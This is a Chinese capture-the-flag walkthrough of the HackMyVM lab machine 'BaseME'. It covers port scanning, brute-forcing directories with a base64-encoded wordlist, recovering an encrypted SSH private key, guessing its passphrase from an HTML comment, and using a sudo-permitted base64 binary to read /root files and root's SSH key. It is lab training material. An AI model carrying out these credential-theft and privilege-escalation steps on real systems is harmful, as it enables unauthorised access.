首页 > 其他分享 >[HMV] BaseME

[HMV] BaseME

时间:2023-05-22 10:35:04浏览次数:36  
标签:bin lucas HMV usr 172.16 BaseME root ssh

0x00 配置

攻击机 IP: 172.16.1.25

靶机 IP: 172.16.1.177


0x01 攻击

使用 Nmap 扫描目标靶机开放的端口

┌──(root㉿Kali-VM)-[~]
└─# nmap -sC -sV -p- 172.16.1.177
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 172.16.1.177
Host is up (0.00059s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 ca0980f73ada5ab619d95c414743d410 (RSA)
|   256 d0754848b8265937643b257f2010f870 (ECDSA)
|_  256 9114f7930b0625cbe0a530e8d3d3372b (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:CC:F1:80 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.37 seconds

发现了两个端口,22(SSH) 和 80(HTTP),打开 80 端口

QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK

发现一段 BASE64 编码,解码后得到

ALL, absolutely ALL that you need is in BASE64.
Including the password that you need :)
Remember, BASE64 has the answer to all your questions.
-lucas

查看源码,还发现一段注释

<!--
iloveyou
youloveyou
shelovesyou
helovesyou
weloveyou
theyhatesme
-->

猜测是密码或者用户名的字典,不过现在还没什么用。之前的提示写所有需要的东西都是 BASE64,那么我们就把字典用 BASE64 编码之后再扫描

┌──(root㉿Kali-VM)-[~/work]
└─# for i in $(cat /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt);do echo $i | base64 >> dict64.txt;done

开始扫描网站

┌──(root㉿Kali-VM)-[~/work]
└─# dirsearch -u http://172.16.1.177 -w /root/work/dict64.txt 

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 4715

Target: http://172.16.1.177/

[09:20:31] Starting: 
[09:20:35] 200 -    2KB - /aWRfcnNhCg==                                     
[09:20:39] 200 -   25B  - /cm9ib3RzLnR4dAo=                                 
                                                                             
Task Completed

发现了两个路径,依次查看,下载到了两个文件

/aWRfcnNhCg==

LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFB
QUFBQ21GbGN6STFOaTFqZEhJQUFBQUdZbU55ZVhCMEFBQUFHQUFBQUJCVHhlOFlVTApCdHpmZnRB
ZFBncDhZWkFBQUFFQUFBQUFFQUFBRVhBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCQVFDWkNY
dkVQbk8xCmNiaHhxY3RCRWNCRFpqcXJGZm9sd1ZLbXBCZ1kwN00zQ0s3cE8xMFVnQnNMeVl3QXpK
RXc0ZTZZZ1BOU3lDRFdGYU5US0cKMDdqZ2NncmdncmU4ZVBDTU5GQkNBR2FZSG1MckZJc0tEQ0xJ
NE5FNTR0NThJVUhlWENaejcyeFRvYkwvcHRMazI2UkJuaAo3YkhHMUpqR2x4T2tPNm0rMW9GTkx0
TnVEMlFQbDhzYlp0RXpYNFM5bk5aL2RweVJwTWZtQjczck4zeXlJeWxldlZERXl2CmY3Q1o3b1JP
NDZ1RGdGUHk1VnprbmRDZUpGMll0WkJYZjVnamMyZmFqTVh2cStiOG9sOFJaWjZqSFhBaGlibE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/OHb40PL8MXqBtU/b6CEU9JuzJpBrKZ+k+
tSn7hr8hppT2tUSxDvC+USMmw/WDfakjfHpoNwh7Pt5i0cwwpkXFQxJPvR0bLxvXZn+3xw
N7bw45FhBZCsHCAbV2+hVsP0lyxCQOj7yGkBja87S1e0q6WZjjB4SprenHkO7tg5Q0HsuM
Aif/02HHzWG+CR/IGlFsNtq1vylt2x+Y/091vCkROBDawjHz/8ogy2Fzg8JYTeoLkHwDGQ
O+TowA10RATek6ZEIxh6SmtDG/V5zeWCuEmK4sRT3q1FSvpB1/H+FxsGCoPIg8FzciGCh2
TLuskcXiagns9N1RLOnlHhiZd8RZA0Zg7oZIaBvaZnhZYGycpAJpWKebjrtokLYuMfXRLl
3/SAeUl72EA3m1DInxsPguFuk00roMc77N6erY7tjOZLVYPoSiygDR1A7f3zYz+0iFI4rL
ND8ikgmQvF6hrwwJBrp/0xKEaMTCKLvyyZ3eDSdBDPrkThhFwrPpI6+Ex8RvcWI6bTJAWJ
LdmmRXUS/DtO+69/aidvxGAYob+1M=
-----END OPENSSH PRIVATE KEY-----

/cm9ib3RzLnR4dAo=

Tm90aGluZyBoZXJlIDooCg==
Nothing here :(

得到了一个 SSH 私钥,尝试使用之前看到的用户名 lucas 登录

┌──(root㉿Kali-VM)-[~/work]
└─# ssh [email protected] -i ./ssh.key
Enter passphrase for key './ssh.key': 

发现私钥需要密码,尝试之前在注释中看到的密码字典(每行的密码都需要 BASE64 编码一下)

┌──(root㉿Kali-VM)-[~/work]
└─# echo iloveyou | base64   
aWxvdmV5b3UK
                                                                                                                                      
┌──(root㉿Kali-VM)-[~/work]
└─# ssh [email protected] -i ./ssh.key
Enter passphrase for key './ssh.key': 
Linux baseme 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 28 12:51:36 2020 from 192.168.1.58

lucas@baseme:~$ :D

第一个密码就登录成功了,首先拿到 user flag

lucas@baseme:~$ cat user.txt 
                                   .     **                                     
                                *           *.                                  
                                              ,*                                
                                                 *,                             
                         ,                         ,*                           
                      .,                              *,                        
                    /                                    *                      
                 ,*                                        *,                   
               /.                                            .*.                
             *                                                  **              
             ,*                                               ,*                
                **                                          *.                  
                   **                                    **.                    
                     ,*                                **                       
                        *,                          ,*                          
                           *                      **                            
                             *,                .*                               
                                *.           **                                 
                                  **      ,*,                                   
                                     ** *,                                      
                                               
HMV8nnJAJAJA

然后开始提权。查看具有 SUID 的文件

lucas@baseme:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/mount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/chsh
/usr/bin/umount
/usr/bin/gpasswd
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device

查看可以运行的 Sudo 命令

lucas@baseme:~$ sudo -l
Matching Defaults entries for lucas on baseme:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lucas may run the following commands on baseme:
    (ALL) NOPASSWD: /usr/bin/base64

发现我们可以以 root 身份运行 base64。我们可以利用这个获取任意文件

lucas@baseme:~$ sudo /usr/bin/base64 "/root/root.txt" | base64 --decode
                                   .     **                                     
                                *           *.                                  
                                              ,*                                
                                                 *,                             
                         ,                         ,*                           
                      .,                              *,                        
                    /                                    *                      
                 ,*                                        *,                   
               /.                                            .*.                
             *                                                  **              
             ,*                                               ,*                
                **                                          *.                  
                   **                                    **.                    
                     ,*                                **                       
                        *,                          ,*                          
                           *                      **                            
                             *,                .*                               
                                *.           **                                 
                                  **      ,*,                                   
                                     ** *,                                      
                                               
HMVFKBS64

至此成功获得 root flag,但是仍未提升权限。我们可以继续使用 base64 命令来获得 /root/.ssh/id_rsa,并使用 SSH 直接登录到 root 用户


0x02 总结

需要一点脑洞的题目

标签:bin,lucas,HMV,usr,172.16,BaseME,root,ssh
From: https://www.cnblogs.com/azwhikaru/p/17419962.html

相关文章

  • [HMV] Condor
    0x00配置攻击机IP:172.16.1.25靶机IP:172.16.1.1630x01攻击使用Nmap扫描目标靶机开放的端口┌──(root?Kali-VM)-[~]└─#nmap-sC-sV-p-172.16.1.163StartingNmap7.93(https://nmap.org)Nmapscanreportfor172.16.1.163Hostisup(0.00049slate......
  • [HMV] Bruteforcelab
    IntendedforpracticingbruteforceandSMBserviceexploitation.0x00配置攻击机IP:192.168.10.27靶机IP:192.168.10.280x01攻击使用Nmap扫描目标靶机开放的端口┌──(root㉿Kali)-[~]└─#nmap-p-192.168.10.28StartingNmap7.93(https://nmap.or......
  • [HMV] Faust
    0x00配置攻击机IP:172.16.1.25靶机IP:172.16.1.1670x01攻击使用Nmap扫描目标靶机开放的端口┌──(root㉿Kali-VM)-[~]└─#nmap-sC-sV-p-172.16.1.167StartingNmap7.93(https://nmap.org)Nmapscanreportfor172.16.1.167Hostisup(0.00051slat......
  • [HMV] Visions
    0x00配置攻击机IP:172.16.1.25靶机IP:172.16.1.140x01攻击使用Nmap扫描目标靶机开放的端口┌──(root㉿Kali-VM)-[~]└─#nmap-sC-sV-p-172.16.1.14StartingNmap7.93(https://nmap.org)Nmapscanreportfor172.16.1.14Hostisup(0.00047slate......
  • [HMV] Listen
    感谢@RiJaba1的帮助Thanksto@RiJaba1forhishelp0x00配置攻击机IP:192.168.10.25靶机IP:192.168.10.240x01攻击使用Nmap扫描目标靶机开放的端口┌──(root㉿Kali)-[~/work]└─#nmap-p-192.168.10.24StartingNmap7.93(https://nmap.org)Nmaps......
  • [HMV] Arroutada
    0x00配置攻击机IP:172.16.1.25靶机IP:172.16.1.1910x01攻击使用Nmap扫描目标靶机开放的端口┌──(root㉿Kali-VM)-[~]└─#nmap-sC-sV-p-172.16.1.191......
  • [HMV] Anaximandre
    0x00配置攻击机IP:172.16.1.25靶机IP:172.16.1.1060x01攻击使用Nmap扫描目标靶机开放的端口┌──(root㉿Kali-VM)-[~]└─#nmap-sC-sV-p-172.16.1.106......
  • [HMV] Friendly
    0x00配置攻击机IP:192.168.10.24靶机IP:192.168.10.230x01攻击使用Nmap扫描目标靶机开放的端口┌──(root㉿Kali)-[~]└─#nmap-sC-sV-p-192.168.10.2......
  • [HMV] Jabita
    0x00配置攻击机IP:172.16.1.25靶机IP:172.16.1.340x01攻击使用Nmap扫描目标靶机开放的端口┌──(root㉿Kali-VM)-[~]└─#nmap-sC-sV-p-172.16.1.34......
  • [HMV] Blackhat
    0x00配置攻击机IP:172.16.1.25靶机IP:172.16.1.1230x01攻击使用Nmap扫描目标靶机开放的端口┌──(root㉿Kali-VM)-[~]└─#nmap-sC-sV-p-172.16.1.123......